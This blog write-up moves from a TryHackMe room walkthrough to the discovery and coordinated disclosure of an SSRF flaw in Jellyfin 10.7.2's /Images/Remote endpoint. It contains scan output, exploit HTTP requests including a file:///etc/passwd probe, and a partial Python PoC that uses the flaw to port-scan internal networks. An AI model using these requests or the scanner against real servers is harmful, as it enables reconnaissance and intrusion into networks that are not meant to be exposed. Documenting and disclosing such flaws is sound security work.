From CTF to CVE

Featured image

An Unexpected Journey

So this post was originally going to be a writeup of the Year of the Jellyfish Room on TryHackMe (created by the ever devious MuirlandOracle), but it morphed into something much more interesting (The writeup is still on the table though :)).

In the Beginning

So the Year of the Jellyfish starts off innocently enough with some basic recon. The twist with this room is that it has a public IP address, but I didn’t let that stop me too much.


rustscan -a $TARGET_IP -- -vvv -sVC -T4 -oN nmap-initial
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/home/hydra/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 3.249.233.109:22
Open 3.249.233.109:80
Open 3.249.233.109:21
Open 3.249.233.109:443
Open 3.249.233.109:8000
Open 3.249.233.109:8096
Open 3.249.233.109:22222
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-23 21:47 CEST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:47
Completed NSE at 21:47, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:47
Completed NSE at 21:47, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:47
Completed NSE at 21:47, 0.00s elapsed
Initiating Ping Scan at 21:47
Scanning 3.249.233.109 [2 ports]
Completed Ping Scan at 21:47, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:47
Completed Parallel DNS resolution of 1 host. at 21:47, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 21:47
Scanning ec2-3-249-233-109.eu-west-1.compute.amazonaws.com (3.249.233.109) [7 ports]
Discovered open port 22222/tcp on 3.249.233.109
Discovered open port 8096/tcp on 3.249.233.109
Discovered open port 22/tcp on 3.249.233.109
Discovered open port 80/tcp on 3.249.233.109
Discovered open port 21/tcp on 3.249.233.109
Discovered open port 443/tcp on 3.249.233.109
Discovered open port 8000/tcp on 3.249.233.109
Completed Connect Scan at 21:47, 0.03s elapsed (7 total ports)
Initiating Service scan at 21:47
Scanning 7 services on ec2-3-249-233-109.eu-west-1.compute.amazonaws.com (3.249.233.109)
Completed Service scan at 21:49, 87.27s elapsed (7 services on 1 host)
NSE: Script scanning 3.249.233.109.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 4.18s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 1.08s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 0.00s elapsed
Nmap scan report for ec2-3-249-233-109.eu-west-1.compute.amazonaws.com (3.249.233.109)
Host is up, received syn-ack (0.027s latency).
Scanned at 2021-04-23 21:47:53 CEST for 93s

PORT      STATE SERVICE  REASON  VERSION
21/tcp    open  ftp      syn-ack vsftpd 3.0.3
22/tcp    open  ssh      syn-ack OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 46:b2:81:be:e0:bc:a7:86:39:39:82:5b:bf:e5:65:58 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3op12UwFIehC/VLx5tzBbmCUO/IzJlyueCj1/qP7tq3DcrBu9iQbC1gYemElU2FhqHH2KQr9MFrWRJgU4dH0iQOFld1WU9BNjfr6VcLOI+flLQstwWf1mJXEOdDjA98Cx+blYWG62qwXLiW+aq2jLfIZkVjJlp7OueNeocxE0P7ynTqJIadMfeNqNZ1Jc+s7aCBSg0NRSh0FsABAG+BSFhybnKXtApc+RG0QQ3vFpnU0k0PVZvg/qU/Eb6Oimm67d8hjclPbPpQoyvsdyOQG7yVS9eIglTr00ddw2Jn8wrapOa4TcBJGu9cgSgITHR8+htJ1LLj3EtsmJ0pErEv0B
80/tcp    open  http     syn-ack Apache httpd 2.4.29
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Did not follow redirect to https://robyns-petshop.thm/
443/tcp   open  ssl/http syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Robyn's Pet Shop
| ssl-cert: Subject: commonName=robyns-petshop.thm/organizationName=Robyns Petshop/stateOrProvinceName=South West/countryName=GB/localityName=Bristol/emailAddress=robyn@robyns-petshop.thm
| Subject Alternative Name: DNS:robyns-petshop.thm, DNS:monitorr.robyns-petshop.thm, DNS:beta.robyns-petshop.thm, DNS:dev.robyns-petshop.thm
| Issuer: commonName=robyns-petshop.thm/organizationName=Robyns Petshop/stateOrProvinceName=South West/countryName=GB/localityName=Bristol/emailAddress=robyn@robyns-petshop.thm
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-23T19:44:41
| Not valid after:  2022-04-23T19:44:41
| MD5:   ebeb 9ee0 2a84 4865 83ce 837d 751c a63c
| SHA-1: 7662 a7c3 48d0 0ea1 47de 887a f701 0d38 2052 172b
| -----BEGIN CERTIFICATE-----
| MIIEPzCCAyegAwIBAgIURKow/Wz46nzXwGD8rDra2hwiFSAwDQYJKoZIhvcNAQEL
| BQAwgZMxCzAJBgNVBAYTAkdCMRMwEQYDVQQIDApTb3V0aCBXZXN0MRAwDgYDVQQH
| DAdCcmlzdG9sMRcwFQYDVQQKDA5Sb2J5bnMgUGV0c2hvcDEbMBkGA1UEAwwScm9i
| eW5zLXBldHNob3AudGhtMScwJQYJKoZIhvcNAQkBFhhyb2J5bkByb2J5bnMtcGV0
| c2hvcC50aG0wHhcNMjEwNDIzMTk0NDQxWhcNMjIwNDIzMTk0NDQxWjCBkzELMAkG
| A1UEBhMCR0IxEzARBgNVBAgMClNvdXRoIFdlc3QxEDAOBgNVBAcMB0JyaXN0b2wx
| FzAVBgNVBAoMDlJvYnlucyBQZXRzaG9wMRswGQYDVQQDDBJyb2J5bnMtcGV0c2hv
| cC50aG0xJzAlBgkqhkiG9w0BCQEWGHJvYnluQHJvYnlucy1wZXRzaG9wLnRobTCC
| ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK4Q6glQ/9qC0nmqC3PkKz2Q
| XXPL6NCvOcjhdpOYX79yRNVwhXXe6BPzmTszfEj3f8JBip9MGeGvgxecbyGjmNp+
| suH28Pk374pj+CQHA6XojQf8Sxuv2FKYcnf4IghSN+7O4CoJsuIyGlA1hcR7UFLp
| 8yRlwIg46d8dDcVCXMu2GKNUTKqzLesjA2KJ/R52dGkhrZy4KTFuk+N67655pxjC
| mkTaWd5c8FBbpZRwPKjrnK+QVm7+yW2tDTuHrTn0/VvOL5PU81NWYaI/fsuwmfAY
| SdFWiMitc11cKnMQoHV6RQGq3eT4YlqRsO3BJoF5d3ZCuVjEJYZqQLQznl78wxMC
| AwEAAaOBiDCBhTAJBgNVHRMEAjAAMAsGA1UdDwQEAwIF4DBrBgNVHREEZDBighJy
| b2J5bnMtcGV0c2hvcC50aG2CG21vbml0b3JyLnJvYnlucy1wZXRzaG9wLnRobYIX
| YmV0YS5yb2J5bnMtcGV0c2hvcC50aG2CFmRldi5yb2J5bnMtcGV0c2hvcC50aG0w
| DQYJKoZIhvcNAQELBQADggEBAKFetXXXC7+q6mT3K2jwPI1ffCHzD+3AFOvYGnS/
| VkHJpd22Es6lZGrhZffLYLr9FtT2IUmJW/UaScggZYkzSSX/IP6GaMNA3l0G8+B4
| EJ/d7ZSwWltSWVe8e7PL+40EfJjFpU69AuSdwn217ZiQIv4iElYyGCbzY6c0dN6O
| Ql7nQ93BAg5jW/w/3k2hGrHDRjy4lCg6iswbkuroHBdyeD5ZCSprYLODR9d+fbwr
| QZ/z7VHy2vKOqSMtAzXnl9f7ylXg2xPYcqRdfGimNuLAwYEptpd1uyJpc0VAEsCI
| yj4bsEJx2HNvqe/DSLBppDL99YWZ4daKIw0ytJ5PSq8VqBc=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
8000/tcp  open  http-alt syn-ack
| fingerprint-strings:
|   GenericLines:
|     HTTP/1.1 400 Bad Request
|     Content-Length: 15
|_    Request
|_http-title: Under Development!
8096/tcp  open  unknown  syn-ack
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     Connection: close
|     Date: Fri, 23 Apr 2021 19:48:27 GMT
|     Server: Kestrel
|     Content-Length: 0
|     X-Response-Time-ms: 6
|   GenericLines:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Date: Fri, 23 Apr 2021 19:48:01 GMT
|     Server: Kestrel
|     Content-Length: 0
|   GetRequest:
|     HTTP/1.1 302 Found
|     Connection: close
|     Date: Fri, 23 Apr 2021 19:48:01 GMT
|     Server: Kestrel
|     Content-Length: 0
|     Location: /web/index.html
|   HTTPOptions:
|     HTTP/1.1 302 Found
|     Connection: close
|     Date: Fri, 23 Apr 2021 19:48:02 GMT
|     Server: Kestrel
|     Content-Length: 0
|     Location: /web/index.html
|   Help, Kerberos, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Date: Fri, 23 Apr 2021 19:48:17 GMT
|     Server: Kestrel
|     Content-Length: 0
|   LPDString:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Date: Fri, 23 Apr 2021 19:48:27 GMT
|     Server: Kestrel
|     Content-Length: 0
|   RTSPRequest:
|     HTTP/1.1 505 HTTP Version Not Supported
|     Connection: close
|     Date: Fri, 23 Apr 2021 19:48:02 GMT
|     Server: Kestrel
|_    Content-Length: 0
22222/tcp open  ssh      syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8d:99:92:52:8e:73:ed:91:01:d3:a7:a0:87:37:f0:4f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpLAsRYbJYyJ+bS8pAi+HpQupaD+Oo76UbITMFLP+pZyxM5ChxwyPbCYKIitboOoa3PWRe6V4UjBcOPtNujmv2tjCcETv/tp2QyuHPW6Go6ZzFDn0V8SUGhWIqwLge79Yp9FwG7y9tUxqnViQCJBfWtY5kJh11Iy/X4Arg1ifiT9FAExpVt3fgZl3HN6bxwyfFIQfxVqySgdQxSgqpVTU4Kc3pkZM1UL+c+kzfCYwiNJL0WHAYNl3u77H+Lp5J371BSJTWpaNS/bkS2KSqG/DPafCg4qhOn/rjDldHtQ3Eukcj0AGg/jBYbrYgAhsBXLJbhHTNTt4zrQe5sRArZ8ab
|   256 5a:c0:cc:a1:a8:79:eb:fd:6f:cf:f8:78:0d:2f:5d:db (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHcGmMvzfmx0EHLv5MLqqn0a4WVxxU7dcNq0F03HIZIY002BsPtaEXkbkcn5FdDsjDGuBWq+1JGB/xDI5py485o=
|   256 0a:ca:b8:39:4e:ca:e3:cf:86:5c:88:b9:2e:25:7a:1b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFpTk+WaMxq8E5ToT9RI4THsaxdarA4tACYEdoosbPD8
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8000-TCP:V=7.91%I=7%D=4/23%Time=60832475%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,3F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x2
SF:015\r\n\r\n400\x20Bad\x20Request");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8096-TCP:V=7.91%I=7%D=4/23%Time=60832470%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,78,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20clo
SF:se\r\nDate:\x20Fri,\x2023\x20Apr\x202021\x2019:48:01\x20GMT\r\nServer:\
SF:x20Kestrel\r\nContent-Length:\x200\r\n\r\n")%r(GetRequest,8D,"HTTP/1\.1
SF:\x20302\x20Found\r\nConnection:\x20close\r\nDate:\x20Fri,\x2023\x20Apr\
SF:x202021\x2019:48:01\x20GMT\r\nServer:\x20Kestrel\r\nContent-Length:\x20
SF:0\r\nLocation:\x20/web/index\.html\r\n\r\n")%r(HTTPOptions,8D,"HTTP/1\.
SF:1\x20302\x20Found\r\nConnection:\x20close\r\nDate:\x20Fri,\x2023\x20Apr
SF:\x202021\x2019:48:02\x20GMT\r\nServer:\x20Kestrel\r\nContent-Length:\x2
SF:00\r\nLocation:\x20/web/index\.html\r\n\r\n")%r(RTSPRequest,87,"HTTP/1\
SF:.1\x20505\x20HTTP\x20Version\x20Not\x20Supported\r\nConnection:\x20clos
SF:e\r\nDate:\x20Fri,\x2023\x20Apr\x202021\x2019:48:02\x20GMT\r\nServer:\x
SF:20Kestrel\r\nContent-Length:\x200\r\n\r\n")%r(Help,78,"HTTP/1\.1\x20400
SF:\x20Bad\x20Request\r\nConnection:\x20close\r\nDate:\x20Fri,\x2023\x20Ap
SF:r\x202021\x2019:48:17\x20GMT\r\nServer:\x20Kestrel\r\nContent-Length:\x
SF:200\r\n\r\n")%r(SSLSessionReq,78,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nConnection:\x20close\r\nDate:\x20Fri,\x2023\x20Apr\x202021\x2019:48:17
SF:\x20GMT\r\nServer:\x20Kestrel\r\nContent-Length:\x200\r\n\r\n")%r(Termi
SF:nalServerCookie,78,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\nDate:\x20Fri,\x2023\x20Apr\x202021\x2019:48:17\x20GMT\r\nSer
SF:ver:\x20Kestrel\r\nContent-Length:\x200\r\n\r\n")%r(TLSSessionReq,78,"H
SF:TTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\nDate:\x20F
SF:ri,\x2023\x20Apr\x202021\x2019:48:17\x20GMT\r\nServer:\x20Kestrel\r\nCo
SF:ntent-Length:\x200\r\n\r\n")%r(Kerberos,78,"HTTP/1\.1\x20400\x20Bad\x20
SF:Request\r\nConnection:\x20close\r\nDate:\x20Fri,\x2023\x20Apr\x202021\x
SF:2019:48:17\x20GMT\r\nServer:\x20Kestrel\r\nContent-Length:\x200\r\n\r\n
SF:")%r(FourOhFourRequest,8D,"HTTP/1\.1\x20404\x20Not\x20Found\r\nConnecti
SF:on:\x20close\r\nDate:\x20Fri,\x2023\x20Apr\x202021\x2019:48:27\x20GMT\r
SF:\nServer:\x20Kestrel\r\nContent-Length:\x200\r\nX-Response-Time-ms:\x20
SF:6\r\n\r\n")%r(LPDString,78,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConne
SF:ction:\x20close\r\nDate:\x20Fri,\x2023\x20Apr\x202021\x2019:48:27\x20GM
SF:T\r\nServer:\x20Kestrel\r\nContent-Length:\x200\r\n\r\n");
Service Info: Host: robyns-petshop.thm; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 93.00 seconds

There was a LOT of stuff on this server: An couple http servers, an https server with several domains, ftp, ssh, and this wierd Kestrel server. I had looked around on the known servers before attacking the Kestrel, not finding much of use (Which would later prove to be wrong, but that’s another story). A quick google search told me that Kestrel is .Net’s native http server. In the navigator, I was redirected to the login page of a media server called Jellyfin

Jellyfin Login

Stung by the Jellyfin

Trying the default password, password resets, and other shenanigans wouldn’t let me it. There was an older CVE listed for this server: CVE-2021-21402, supposedly fixed in 10.7.1. This also failed to get me anywhere so I began to look more closely at the network traces. I saw that an api was being called at /System/Info/Public.


http -v http://robyns-petshop.thm:8096/System/Info/Public
GET /System/Info/Public HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Host: robyns-petshop.thm:8096
User-Agent: HTTPie/2.4.0



HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: application/json; charset=utf-8
Date: Fri, 23 Apr 2021 23:44:26 GMT
Server: Kestrel
Transfer-Encoding: chunked
Vary: Accept-Encoding
X-Response-Time-ms: 1

{
    "Id": "b6c698509b83439992b3e437c87f7fb5",
    "LocalAddress": "http://10.10.74.81:8096",
    "OperatingSystem": "Linux",
    "ProductName": "Jellyfin Server",
    "ServerName": "petshop",
    "StartupWizardCompleted": true,
    "Version": "10.7.2"
}

This exposes an internal IP address, which might be useful, but it also confirms that the previous vulnerability was patched.

At this point I was a bit stuck, so I did what any self-respecting dev would do and trolled the github repository for clues. Pulling the repo locally let me open it in Visual Studio to be able to zip around the code more easily, and I was also able to find a docker image of the server to test locally.

Trolling APIs for Fun

So eventually I found the api documentation conveniently lying around at the /api-docs/swagger/index.html endpoint (There’s a redoc version as well). While most of the APIs are authenticated, several are not. Presumably this is to help media players get lists of media more easily? Scrolling down the list, something caught my eye:

Jellyfin Remote Images API

Remote….Image…? While this might be alright if it were actually getting just images, I tried to see how I could break it. Using my local docker image, I tested a few urls out:


http -v http://localhost:8096/Images/Remote imageUrl==file:///etc/passwd
GET /Images/Remote?imageUrl=file%3A%2F%2F%2Fetc%2Fpasswd HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Host: localhost:8096
User-Agent: HTTPie/2.4.0



HTTP/1.1 400 Bad Request
Content-Type: text/plain
Date: Mon, 10 May 2021 21:56:48 GMT
Server: Kestrel
Transfer-Encoding: chunked
X-Response-Time-ms: 33

Error processing request.

So file urls are properly filtered out (or just crash the http client ;)). Let’s see if we can grab ourselves:


http -v http://localhost:8096/Images/Remote imageUrl==http://localhost:8096/
GET /Images/Remote?imageUrl=http%3A%2F%2Flocalhost%3A8096%2F HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Host: localhost:8096
User-Agent: HTTPie/2.4.0



HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: text/html; charset=UTF-8
Date: Mon, 10 May 2021 21:58:46 GMT
Last-Modified: Mon, 10 May 2021 21:58:46 GMT
Server: Kestrel
Transfer-Encoding: chunked
Vary: Accept-Encoding
X-Response-Time-ms: 31

<p><!doctype html><html class="preload"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no,viewport-fit=cover"><link rel="manifest" href="manifest.json"><meta name="format-detection" content="telephone=no"><meta name="msapplication-tap-highlight" content="no"><meta http-equiv="X-UA-Compatibility" content="IE=Edge"><meta name="apple-mobile-web-app-capable" content="yes"><meta name="mobile-web-app-capable" content="yes"><meta name="application-name" content="Jellyfin"><meta name="robots" content="noindex, nofollow, noarchive"><meta property="og:title" content="Jellyfin"><meta property="og:site_name" content="Jellyfin"><meta property="og:url" content="http://jellyfin.org"><meta property="og:description" content="The Free Software Media System"><meta property="og:type" content="article"><link rel="apple-touch-icon" sizes="180x180" href="touchicon.png"><link href="assets/splash/iphone5_splash.png" media="screen and (device-width: 320px) and (device-height: 568px) and (-webkit-device-pixel-ratio: 2) and (orientation: portrait)" rel="apple-touch-startup-image"/><link href="assets/splash/iphone5_splash_l.png" media="screen and (device-width: 320px) and (device-height: 568px) and (-webkit-device-pixel-ratio: 2) and (orientation: landscape)" rel="apple-touch-startup-image"/><link href="assets/splash/iphone6_splash.png" media="screen and (device-width: 375px) and (device-height: 667px) and (-webkit-device-pixel-ratio: 2) and (orientation: portrait)" rel="apple-touch-startup-image"/><link href="assets/splash/iphone6_splash_l.png" media="screen and (device-width: 375px) and (device-height: 667px) and (-webkit-device-pixel-ratio: 2) and (orientation: landscape)" rel="apple-touch-startup-image"/><link href="assets/splash/iphoneplus_splash.png" media="screen and (device-width: 414px) and (device-height: 736px) and (-webkit-device-pixel-ratio: 3) and (orientation: portrait)" rel="apple-touch-startup-image"/><link href="assets/splash/iphoneplus_splash_l.png" media="screen and (device-width: 414px) and (device-height: 736px) and (-webkit-device-pixel-ratio: 3) and (orientation: landscape)" rel="apple-touch-startup-image"/><link href="assets/splash/iphonex_splash.png" media="screen and (device-width: 375px) and (device-height: 812px) and (-webkit-device-pixel-ratio: 3) and (orientation: portrait)" rel="apple-touch-startup-image"/><link href="assets/splash/iphonex_splash_l.png" media="screen and (device-width: 375px) and (device-height: 812px) and (-webkit-device-pixel-ratio: 3) and (orientation: landscape)" rel="apple-touch-startup-image"/><link href="assets/splash/iphonexr_splash.png" media="screen and (device-width: 414px) and (device-height: 896px) and (-webkit-device-pixel-ratio: 2) and (orientation: portrait)" rel="apple-touch-startup-image"/><link href="assets/splash/iphonexr_splash_l.png" media="screen and (device-width: 414px) and (device-height: 896px) and (-webkit-device-pixel-ratio: 2) and (orientation: landscape)" rel="apple-touch-startup-image"/><link href="assets/splash/iphonexsmax_splash.png" media="screen and (device-width: 414px) and (device-height: 896px) and (-webkit-device-pixel-ratio: 3) and (orientation: portrait)" rel="apple-touch-startup-image"/><link href="assets/splash/iphonexsmax_splashl.png" media="screen and (device-width: 414px) and (device-height: 896px) and (-webkit-device-pixel-ratio: 3) and (orientation: landscape)" rel="apple-touch-startup-image"/><link href="assets/splash/ipad_splash.png" media="screen and (device-width: 768px) and (device-height: 1024px) and (-webkit-device-pixel-ratio: 2) and (orientation: portrait)" rel="apple-touch-startup-image"/><link href="assets/splash/ipad_splash_l.png" media="screen and (device-width: 768px) and (device-height: 1024px) and (-webkit-device-pixel-ratio: 2) and (orientation: landscape)" rel="apple-touch-startup-image"/><link href="assets/splash/ipadpro1_splash.png" media="screen and (device-width: 834px) and (device-height: 1112px) and (-webkit-device-pixel-ratio: 2) and (orientation: portrait)" rel="apple-touch-startup-image"/><link href="assets/splash/ipadpro1_splash_l.png" media="screen and (device-width: 834px) and (device-height: 1112px) and (-webkit-device-pixel-ratio: 2) and (orientation: landscape)" rel="apple-touch-startup-image"/><link href="assets/splash/ipadpro3_splash.png" media="screen and (device-width: 834px) and (device-height: 1194px) and (-webkit-device-pixel-ratio: 2) and (orientation: portrait)" rel="apple-touch-startup-image"/><link href="assets/splash/ipadpro3_splash_l.png" media="screen and (device-width: 834px) and (device-height: 1194px) and (-webkit-device-pixel-ratio: 2) and (orientation: landscape)" rel="apple-touch-startup-image"/><link href="assets/splash/ipadpro2_splash.png" media="screen and (device-width: 1024px) and (device-height: 1366px) and (-webkit-device-pixel-ratio: 2) and (orientation: portrait)" rel="apple-touch-startup-image"/><link href="assets/splash/ipadpro2_splash_l.png" media="screen and (device-width: 1024px) and (device-height: 1366px) and (-webkit-device-pixel-ratio: 2) and (orientation: landscape)" rel="apple-touch-startup-image"/><link rel="shortcut icon" href="favicon.ico"><meta name="msapplication-TileImage" content="touchicon144.png"><meta name="msapplication-TileColor" content="#333333"><title>Jellyfin</title><style>.backgroundContainer-transparent:not(.withBackdrop),.transparentDocument{background:0 0!important;background-color:transparent!important}.mouseIdle,.mouseIdle a,.mouseIdle button,.mouseIdle input,.mouseIdle label,.mouseIdle select,.mouseIdle textarea{cursor:none!important}.preload{background-color:#101010}.hide,.mouseIdle .hide-mouse-idle,.mouseIdle-tv .hide-mouse-idle-tv{display:none!important}.mainDrawerHandle{position:fixed;top:0;left:0;bottom:0;z-index:1;width:.8em}@-webkit-keyframes fadein{from{opacity:0}to{opacity:1}}@keyframes fadein{from{opacity:0}to{opacity:1}}.splashLogo{-webkit-animation:fadein .5s;animation:fadein .5s;width:30%;height:30%;background-image:url(assets/img/icon-transparent.png);background-position:center center;background-repeat:no-repeat;background-size:contain;position:fixed;top:50%;left:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}@media screen and (min-device-width:992px){.splashLogo{background-image:url(assets/img/banner-light.png)}}</style></head><body><div class="backdropContainer"></div><div class="backgroundContainer"></div><div class="mainDrawer hide"><div class="mainDrawer-scrollContainer scrollContainer focuscontainer-y"></div></div><div class="skinHeader focuscontainer-x"></div><div class="mainAnimatedPages skinBody"><div class="splashLogo"></div></div><div class="mainDrawerHandle"></div><script src="main.0d15abbc010620712255.bundle.js"></script></body></html></p>


And we get the website back. This is clearly an SSRF vector, and although it only work with HTTP GET requests, we can find a lot of information from this vulnerability.

PoCs and Reports

Clearly this was a vulnerability that needed to be reported. Curiously enough, OmegaVoid, Another fellow hacker in the TryHackMe community, independently found the same vulnerability at almost the same time. He details his findings on his blog. We decided then to team up in order to report this to the project maintainers, who had set up an email account for security issues, and laid out their policy on github here https://github.com/jellyfin/jellyfin/security/policy.

Looking at the github issues, it seems that this endpoint was known to be somewhat problematic, but not to the degree that we felt it was.

The Setup

I suspected that this SSRF could be used to probe internal servers on the network which are not necessarily meant to be exposed. To test this, I set up a docker-compose file which contained a jellyfin server exposed to the outside world, and an internal nginx server which can only be accessed from within the docker network.

    
version: "3.8"
services:
  nginx: 
    image: nginx:latest
    networks:
      - interior
  jellyfin:
    image: jellyfin/jellyfin:10.7.2
    ports: 
      - "8096:8096"
    networks:
      - exterior
      - interior
networks:
  exterior:
  interior: 
    internal: true

Finding the Internal IP

The next step would be to find the internal IP address. Thankfully we have an API call to do this :)


http -v http://localhost:8096/System/Info/Public
GET /System/Info/Public HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Host: localhost:8096
User-Agent: HTTPie/2.4.0



HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: application/json; charset=utf-8
Date: Mon, 10 May 2021 22:16:43 GMT
Server: Kestrel
Transfer-Encoding: chunked
Vary: Accept-Encoding
X-Response-Time-ms: 0

{
    "Id": "d6ed77bb6c9a4dd490a5837ea37be19d",
    "LocalAddress": "http://172.18.0.2:8096",
    "OperatingSystem": "Linux",
    "ProductName": "Jellyfin Server",
    "ServerName": "07696208f584",
    "StartupWizardCompleted": false,
    "Version": "10.7.2"
}

Accessing the Internal Server

From this, (and knowing that there’s an internal server), we can guess the IP and access the internal nginx server:


http -v http://localhost:8096/Images/Remote imageUrl==http://172.19.0.3:80/
GET /Images/Remote?imageUrl=http%3A%2F%2Fnginx%2F HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
Host: localhost:8096
User-Agent: HTTPie/2.4.0



HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: text/html; charset=UTF-8
Date: Mon, 10 May 2021 22:20:40 GMT
Last-Modified: Mon, 10 May 2021 22:20:40 GMT
Server: Kestrel
Transfer-Encoding: chunked
Vary: Accept-Encoding
X-Response-Time-ms: 9

<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>
<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>
<p><em>Thank you for using nginx.</em></p>
</body>
</html>


Port Scanning

We can go even further and search for any http(s) servers that may be lying around. I wrote a (relatively) quick PoC of a port scanner that can abuse this endpoint to search for http servers. I added a mongodb server to the internal network to show how this vulnerability can be exploited to gain some very useful intelligence about the target network.

    
import sys, ipaddress, signal, argparse
import requests
import concurrent.futures

class colours:
    red = "\033[91m"
    green = "\033[92m"
    blue = "\033[34m"
    orange = "\033[33m"
    purple = "\033[35m"
    end = "\033[0m"


def sigHandler(sig, frame):
    print(f"{colours.orange}\n[*] Exiting....{colours.end}\n")
    sys.exit(0)

class PortScanner:
    def scan_port(self, server_url, ip, port):
        try:
            r = requests.get(url=f"{server_url}Images/Remote?imageUrl=http://{ip}:{port}", timeout=1)
        except requests.exceptions.Timeout as e:
            return;

        if r.status_code < 400:
            print(f"{ip} : {port} {colours.green}OPEN{colours.end}")

    def scan(self, server_url, ip, ports):
        ip_port_tuples = ((server_url, ip, port) for port in ports)
        with concurrent.futures.ThreadPoolExecutor(max_workers=32) as executor:
            executor.map(lambda p: self.scan_port(*p), ip_port_tuples)
            
class Scanner:
    def __init__(self):
        self.port_scanner = PortScanner()
    
    def parse_args(self):
        parser = argparse.ArgumentParser(description="A simple, silly, over-the-top ping/port scanner made in Python")
        parser.add_argument("jellyfin_url", help="The Jellyfin Server base url. Eg: http://localhost:8096/")
        parser.add_argument("hosts", help="The target(s) IPs. May use CIDR notation to scan multiple hosts in parallel.")
